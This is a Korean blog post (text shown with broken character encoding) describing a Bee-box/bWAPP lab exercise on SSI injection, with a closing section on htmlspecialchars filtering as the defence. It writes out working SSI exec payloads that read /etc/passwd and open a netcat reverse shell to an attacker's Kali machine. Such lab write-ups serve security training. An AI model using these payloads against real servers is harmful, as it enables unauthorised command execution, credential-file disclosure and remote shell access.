[Bee-box] ๊ธฐํ ์ธ์ ์ ๊ณต๊ฒฉ- SSI ์ธ์ ์
- -
php code injection ์ค์ต์ ์ด์ด์,
์ค๋์ ์ธ์ ์ ๊ธฐ๋ฒ ์ค ssi injection์ ์ค์ตํด๋ณผ๊ฒ์.
์ค์ตํ๋ ๋ชจ๋ ๊ณต๊ฒฉ์ ์ค์ ๋ก ์ฌ์ฉํ์๋ฉด ์๋ฉ๋๋ค.
ํ์ฉ๋ฐ์ง ์์ ์๋น์ค ๋์์ ํดํน์ ์๋ํ๋ ํ๋์ ๊ธ์งํ๋ฉฐ,
๋ชจ๋ ๋ฒ์ ์ฑ ์์ ์ฌ์ฉ์์๊ฒ ์๋ ๊ฒ์ ๋ช ์ฌํด์ฃผ์ธ์.
SSI(Server-Side Includes?
html ํ์ด์ง์ ์ ์ฒด ์ฝ๋๋ฅผ ์์ ํ์ง ์๊ณ ๊ณตํต ๋ชจ๋ ํ์ผ๋ก ๊ด๋ฆฌํ๋ฉฐ ๋์ ์ธ ใ ใด์ฉ์ ์ถ๊ฐํ๊ธฐ ์ํด ๋ง๋ค์ด์ง ๊ธฐ๋ฅ์ด๋ค.
์ฃผ๋ก ๋ฐฉ๋ฌธ์ ์๋ฅผ ์ธ๊ฑฐ๋ ํํ์ด์ง์ ๋ก๊ณ ์์ ๋ฑ ๊ฐ๋จํ ๊ธฐ๋ฅ ์ถ๊ฐ์ ์ฌ์ฉํ๋ค.
ssi ๋ฅผ ์ฌ์ฉํ๋ ์น ํ์ด์ง์ ๊ฒฝ์ฐ ssi์ง์์ด ์ฒ๋ฆฌ๋ฅผ ์ํ .shtml (www.terms.co.kr/SHTML.htm) ํ์ฅ์ ํ์ผ์ ์์ฑํ๋ค.
ssi์ง์์ด์ ํ์์ ๋ค์๊ณผ ๊ฐ์๋ฐ, HTML ์ ์ฃผ์๊ณผ ๋น์ทํ ํํ๋ก ssi๊ธฐ๋ฅ์ ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ ์น ๋ธ๋ผ์ฐ์ ๋ ssi์ง์์ด๋ฅผ ์ฃผ์์ผ๋ก ์ฒ๋ฆฌํ๋ค. " <!--#element attribute = value --> "
์ํค ๋ฐฑ๊ณผ์์๋ ssi๋ฅผ ์๋์ ๊ฐ์ด ์ ์ํ๋ค.
์๋ฒ ์ฌ์ด๋ ํฌํจ (SSI)๋ฅผ ํด์ ๊ฐ๋จ ์๋ฒ - ์ฌ์ด๋ ์คํฌ๋ฆฝํธ ์ธ์ด๋ ์๋ ์์ด๋ ์น (World Wide Web) ๊ฑฐ์ ๋ ์ ์ ์ผ๋ก ์ฌ์ฉ์ด. # include ์ง์๋ฌธ์ ์ฌ์ฉํ์ฌ ํ๋ ์ด์์ ํ์ผ ๋ด์ฉ์ ์น ์๋ฒ ์ ์น ํ์ด์ง์ ํฌํจํ๋ ๋ฐ ๊ฐ์ฅ ์ ์ฉ ํฉ๋๋ค.
SSI ์ธ์ ์ ์ทจ์ฝ์ ์ด ์๋ ๊ฒฝ์ฐ ํ์ด์ง์ ์ ์์ ์ธ ์ง์์ด๋ฅผ ์ฃผ์ ํ๋ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํจ.
๋์ด๋ ํ
SSI ์ ์
์ด ํ์ด์ง๋ ์ด๋ฆ์ ์ ๋ ฅํ๊ณ Lookup ํด๋ฆญ ์ ์ฌ์ฉ์์ ip๋ฅผ ์ถ๋ ฅํด์ค๋ค.
์ฌ๊ธฐ์ url ์ ip๋ vmware(๊ฐ์ํ๊ฒฝ) ๊ฒ์คํธ ip์ด๊ณ
์๋ ๋นจ๊ฐ ๋ค๋ชจ ๋ฐ์ค๋ host ip ์ด๋ค.
์ค์ ๋ก ip๊ฐ ์ถ๋ ฅ๋์์.
์ฆ Lookup ๋ฒํผ์ ํด๋ฆญํ๋ฉด ssii.shtml ํ์ด์ง๋ฅผ ํธ์ถํจ.
(์ด๊ฑธ๋ก ์ฌ์ฉ์๋ shtml(ssi์ง์์ด ์ฒ๋ฆฌ๋ฅผ ์ํ ํ์ฅ์), ssi ๊ธฐ๋ฅ์ ์ฌ์ฉํ๊ณ ์๋ค๊ณ ํ์ ํ ์ ์์.
-> ์ทจ์ฝ์ ๋ฐ์ ๊ฐ๋ฅ์ฑ)
์ธ์ ์ ์ทจ์ฝ์ ์ ํ์ ํ๊ธฐ ์ํด ssi์ง์์ด๋ฅผ ์ ๋ ฅ์นธ์ ๋ฃ์ด๋ณธ๋ค.
ssi ์ง์์ด๋ html์ฃผ์๊ณผ ๋น์ทํ ํํ๋ก ์น ์ ํ๋ฆฌ์ผ์ด์ ์๋ฒ์์ ssi๊ธฐ๋ฅ์ ์ค์ ํ์ง ์์๋ค๋ฉด
๋ธ๋ผ์ฐ์ ์์ ssi์ง์์ด๋ฅผ ์คํํ์ง ์๊ณ ๋ฌด์ํ๋ค.
<!--#echo var="DATE_LOCAL" -->
์ ์ง์์ด๋ ํ์ฌ ์๊ฐ์ ์ถ๋ ฅํ๋ ๋ช ๋ น์ด์ด๋ค.
ํ์ฌ์๊ฐ์ ์ถ๋ ฅํ๋ค. -> ssi ์ทจ์ฝ์ ํ์ธ.
exec๋ ๊ธฐ์กด ํ๋ก์ธ์ค์ ์ปจํ ์คํธ์์ ์คํ ํ์ผ์ ์คํํ์ฌ ์ด์ ์คํ ํ์ผ์ ๋์ฒดํ๋ ์ด์ ์ฒด์ ์ ๊ธฐ๋ฅ์ ๋๋ค. ์ด ๋์์ ์ค๋ฒ๋ ์ด๋ผ๊ณ ๋ํฉ๋๋ค. ๋ค๋ฅธ ๊ณณ์ ์กด์ฌํ๋๋ผ๋ ์ ๋์ค ๊ณ์ด ์์คํ ์์ ํนํ ์ค์ํฉ๋๋ค.
www.linux.co.kr/unixwebhosting/ssi/ssi04.htm << ssi๊ณต๊ฒฉ ๋ช ๋ น์ด ์์ธํ ์๊ธฐ
*** ์ฃผ์ ํ ๊ฒ : echo ๋ช ๋ น์ด ์๋๊ณ exec๋ช ๋ น์ด์ ***
cmd = ls ๋ช ๋ น์ ์ ๋ ฅํด๋ณธ๋ค.
cmd์์ฑ์ ๋๋ ํฐ๋ฆฌ ๋ด์ฉ์ ์ถ๋ ฅํ๋ ls ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ๊ณ ์กฐ์ํ ssi๋ฅผ ๋ฃ์ด๋ณธ๋ค.
(ํ๋๋ ๊ผญ ์ฑ์์ผ ํ๋, last name =์๋ฌด๊ฑฐ๋ ์จ์ค)
์์ ! ssi์ธ์ ์ ์ฑ๊ณต>< ์ฃผ์ ์ ๋ณด๋ฅผ ๋บด๋ณด์.
cat๋ช ๋ น์ด๋ก ํ์ผ์ ๋ณผ๊ฑฐ๋ค. passwdํ์ผ!
๊ฒฝ๋ก๋ฅผ ์ ๋ ฅํด์ ๋ค์ด๊ฐ๋ณธ๋ค.
<!--#exec cmd="cat /etc/passwd" -->
๋ฏผ๊ฐํ ์ ๋ณด ์ ์ถ
์ด๋ฐ ๊ฒฝ์ฐ netcat์ ์ด์ฉํด์ ์๋ฒ ์์ ์ ๊ทผ ๊ฐ๋ฅ.
์ฆ ์ ์์ ์ธ ์คํฌ๋ฆฝํธ ํ์ผ์ ์๋ฒ์ ์ถ๊ฐํ๊ฑฐ๋, ์ฃผ์ ์ ๋ณด๋ฅผ ์ฝ๋ ๋ฑ์ ๊ธฐ๋ฅ์ ์ํ ํ ์ ์์
โผ
์นผ๋ฆฌ๋ฆฌ๋ ์ค ์ ์
- sudo su (๋ฃจํธ๋ก ์ ๊ทผ)
- nc -l -p 666 (๋ฆฌ์จ๋ชจ๋ ๋ค๋ฅธํธ์คํธ๊ฐ ๋ค์ด์ฌ ์ ์๊ฒ, -p๋ก ์ ์ ํฌํธ ์ง์ )
-----์ฆ beebox๊ฐ ์๋ฒ๋ผ ๊ฐ์ ํ์ ๋ ์๋ฒ์์ -> ํด๋ผ์ด์ธํธ(์นผ๋ฆฌ๋ฆฌ๋ ์ค)๋ก ์ ๊ทผ / ๋ฆฌ๋ฒ์ค ์
beebox์์ ssi ์ง์์ด๋ก ๋ท์บฃ ์คํ ์ํจ๋ค.
<!--#exec cmd="nc (์นผ๋ฆฌ ip) 666[์นผ๋ฆฌ ํฌํธ] -e /bin/bash" -->
bash์ ์ฌ์ฉํ๊ณ , -e๋ช ๋ น์ด๋ก ์ ๋ ฅ ํ๋ก๊ทธ๋จ ์คํ
์ด ๊ณผ์ ์ ์๋ฃํ๋ฉด ์นผ๋ฆฌ์์ beebox๋ด๋ถ๊ตฌ์กฐ๋ฅผ ํ์ ํ ์ ์์.
๋์๋ฐฉ์
'๋์ด๋ ์' ์์๋ ssi ์ง์์ด ์ ๋ ฅํด๋ ๋ช ๋ น์ด๊ฐ ์คํ๋์ง ์๊ณ , ๋ชจ๋ ๋ฌธ์์ด๋ก ์ถ๋ ฅ๋๋ค.
์ฝ๋๋ฅผ ํ์ธํด๋ณด์๋๋ ๋ชจ๋ xss_check_3ํจ์๋ก ํํฐ๋ง๋๊ณ ์๋ค.
๊ฒฝ๋ก๋ functions_external.php (var/www/bWAPP๋ฐ์ ์์ด์~)
๋ด์ฉ์ ์ดํด๋ณด๋ utf-8๋ก ์ธ์ฝ๋ฉ์ ํด์ค๋ค. ๋ฐ์ดํฐ๋ฅผ
htmlspecialchars๋ฅผ ํตํด ๋ฐ์ data(์ ๋ ฅ๋ฐ์ดํ)๋ฅผ ์ธ์ฝ๋ฉ ํด์ฃผ๋ ํจ์์ธ๋ฐ
์์ ๊ฐ์ด ํน์๋ฌธ์๋ฅผ html์ํฐํฐ๋ก ๋ณํ์ํจ๋ค.
๋๋ฒ์งธ ์ธ์๋ ์๋ฅผ ๋ณด๋ฉด ๋ ๊ฒ ๊ฐ๋ค.
ํ์ฌํผ ๋ฌธ์๋ก ์ธ์ํ๊ฒ ๋ฐฉ์ด ํ๋ฉด ๋๋ค!
## ์ฐธ๊ณ ํ๋ฉด ์ข์ ์ฌ์ดํธ link ##
'Game > Bee-box' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Bee-box] SQL ์ธ์ ์ - GET/Search (0) | 2020.07.24 |
---|---|
INFORMATION_SCHEMA ์์๋ณด๊ธฐ (0) | 2020.07.23 |
[Bee-box] ๊ธฐํ ์ธ์ ์ ๊ณต๊ฒฉ- php ์ฝ๋ ์ธ์ ์ (0) | 2020.06.08 |
[Bee-box] ๊ธฐํ ์ธ์ ์ ๊ณต๊ฒฉ- OS ์ปค๋งจ๋ ์ธ์ ์ (0) | 2020.06.07 |
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค